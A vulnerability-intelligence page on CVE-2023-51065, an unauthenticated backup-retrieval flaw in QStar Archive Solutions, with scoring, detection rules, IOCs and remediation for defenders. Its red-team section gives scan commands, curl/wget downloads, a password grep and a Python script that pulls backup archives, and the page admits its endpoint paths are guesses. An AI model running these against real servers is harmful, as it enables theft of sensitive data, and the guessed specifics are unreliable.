CVE-2023-51065
Executive Summary
CVE-2023-51065 exposes a critical access control flaw in QStar Archive Solutions, specifically in version RELEASE_3-0 Build 7 Patch 0. The vulnerability allows unauthenticated attackers to retrieve system backups and other sensitive information from the QStar Server. This is a direct violation of the principle of least privilege, as the server fails to enforce authentication or authorization checks on endpoints that serve backup archives and sensitive data. The lack of a known patch or vendor response elevates the risk, making this a high-priority target for threat actors seeking to exfiltrate archival data.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a proprietary enterprise storage solution (QStar Archive Solutions) and should be treated as a standalone appliance vulnerability.
CVSS Breakdown & Threat Level
The NVD has not assigned a CVSS score or vector. Based on the description and impact, a reasonable assessment is:
- Attack Vector (AV): Network (N) – exploitable remotely.
- Attack Complexity (AC): Low (L) – no special conditions required.
- Privileges Required (PR): None (N) – unauthenticated.
- User Interaction (UI): None (N) – no user action needed.
- Scope (S): Unchanged (U) – the vulnerable component is the only affected asset.
- Confidentiality (C): High (H) – full access to backups and sensitive data.
- Integrity (I): None (N) – no modification capability described.
- Availability (A): None (N) – no denial of service described.
Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Estimated Base Score: 7.5 (High)
Threat Level: High. The combination of unauthenticated remote access and the ability to exfiltrate backups (which often contain credentials, configuration data, and intellectual property) makes this a severe risk.
Deep Dive & Mechanics
The vulnerability stems from improper access control on the QStar Archive Solutions server. The server exposes endpoints that serve backup archives and other sensitive files without requiring authentication. This is a classic case of CWE-284: Improper Access Control.
Root Cause Analysis:
- The QStar server likely uses a web-based management interface or a REST API to manage and retrieve backups.
- The server fails to validate the user's session or identity before serving files.
- Attackers can directly request backup files by guessing or enumerating file paths (e.g.,
/backups/,/archive/,/export/).
Attack Flow:
- Reconnaissance: The attacker scans for QStar Archive Solutions servers using Shodan dorks or port scanning (default ports: 80, 443, 8080, 8443).
- Discovery: The attacker identifies the server and probes for common backup endpoints (e.g.,
/backup,/archive,/download,/export). - Exploitation: The attacker sends a direct HTTP GET request to the vulnerable endpoint without any authentication headers.
- Exfiltration: The server responds with the backup archive (e.g.,
.zip,.tar,.bak), which the attacker downloads.
Why This Works:
- The server does not implement any authentication middleware for these specific routes.
- The backup files are stored in a publicly accessible directory or served via a misconfigured web server.
Vulnerable vs. Patched Code
Since no patch is available, we can only describe the vulnerable behavior.
Vulnerable Code (Conceptual):
# Vulnerable Flask route example
@app.route('/backup/<filename>')
def get_backup(filename):
# No authentication check
return send_from_directory('/var/backups', filename)
Patched Code (Hypothetical):
# Patched Flask route example
from flask import abort, session
@app.route('/backup/<filename>')
def get_backup(filename):
if 'user' not in session:
abort(401) # Unauthorized
if not session['user'].has_permission('read_backup'):
abort(403) # Forbidden
return send_from_directory('/var/backups', filename)
Exploitation & Lab Setup
Red Team
Lab Environment:
- Target: QStar Archive Solutions RELEASE_3-0 Build 7 Patch 0 (virtual appliance or physical device).
- Attacker: Kali Linux with
curl,wget, andnmap.
Exploitation Steps:
- Scan for the server:
nmap -p 80,443,8080,8443 <target_ip> - Identify vulnerable endpoints:
curl -v http://<target_ip>/backup/ curl -v http://<target_ip>/archive/ curl -v http://<target_ip>/export/ - Download backup files:
wget http://<target_ip>/backup/full_backup_2023-10-01.zip - Extract and analyze:
unzip full_backup_2023-10-01.zip grep -r "password" extracted_backup/
Automation Script (Python):
import requests
import sys
target = sys.argv[1]
endpoints = ['/backup/', '/archive/', '/export/', '/download/']
for ep in endpoints:
r = requests.get(f"http://{target}{ep}")
if r.status_code == 200 and 'zip' in r.headers.get('Content-Type', ''):
print(f"[+] Found backup at {ep}")
with open('backup.zip', 'wb') as f:
f.write(r.content)
break
Blue Team
Detection & Response:
- Monitor for unusual HTTP requests to
/backup,/archive,/export,/downloadpaths. - Alert on any successful download of
.zip,.tar,.bakfiles from the QStar server. - Implement network segmentation to restrict access to the QStar server to only authorized admin IPs.
Honeypot Strategy:
- Deploy a decoy QStar server with fake backup files containing honeytokens (e.g., fake credentials, unique strings).
- Monitor for any access to the decoy server.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP GET requests to paths:
/backup,/archive,/export,/download - User-Agent strings:
curl,wget,python-requests,Go-http-client - Source IPs from known scanning services (e.g., Shodan, Censys)
File IOCs:
- Backup files with names like
full_backup_*.zip,archive_*.tar,export_*.bak - Files containing strings like
QStar,RELEASE_3-0,Build 7 Patch 0
System IOCs:
- Unauthorized access logs in
/var/log/qstar/access.log - Sudden increase in outbound data transfer from the QStar server
Detection Engineering
YARA Rule
rule CVE_2023_51065_QStar_Backup_Exfil {
meta:
description = "Detects QStar backup files being accessed or exfiltrated"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2023-51065"
strings:
$backup_path = "/backup/" nocase
$archive_path = "/archive/" nocase
$export_path = "/export/" nocase
$download_path = "/download/" nocase
$zip_header = { 50 4B 03 04 } // ZIP local file header
$tar_header = { 75 73 74 61 72 } // "ustar" string
condition:
any of ($backup_path, $archive_path, $export_path, $download_path) and
(any of ($zip_header, $tar_header))
}
Sigma Rule
title: QStar Backup Exfiltration via Unauthenticated Access
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects unauthenticated HTTP requests to QStar backup endpoints
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2023-51065
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'GET'
cs-uri-stem:
- '/backup/*'
- '/archive/*'
- '/export/*'
- '/download/*'
condition: selection
falsepositives:
- Legitimate admin access (should be rare)
level: high
Suricata Rule
alert http any any -> $HOME_NET any (msg:"CVE-2023-51065 QStar Backup Exfiltration Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/backup/"; http_uri; nocase; content:"/archive/"; http_uri; nocase; content:"/export/"; http_uri; nocase; content:"/download/"; http_uri; nocase; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate the QStar server: Place it behind a firewall with strict ACLs allowing only trusted admin IPs.
- Disable vulnerable endpoints: If possible, remove or disable the
/backup,/archive,/export,/downloadpaths until a patch is available. - Implement reverse proxy authentication: Use a reverse proxy (e.g., Nginx, Apache) to add HTTP Basic Auth or OAuth before requests reach the QStar server.
Long-term Fix:
- Contact QStar for an official patch.
- If no patch is forthcoming, consider migrating to a different archival solution that supports proper authentication.
Configuration Hardening:
- Change default ports.
- Enable HTTPS with strong certificates.
- Implement IP whitelisting.
- Enable logging and monitoring for all access to the QStar server.
Valters IT
DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.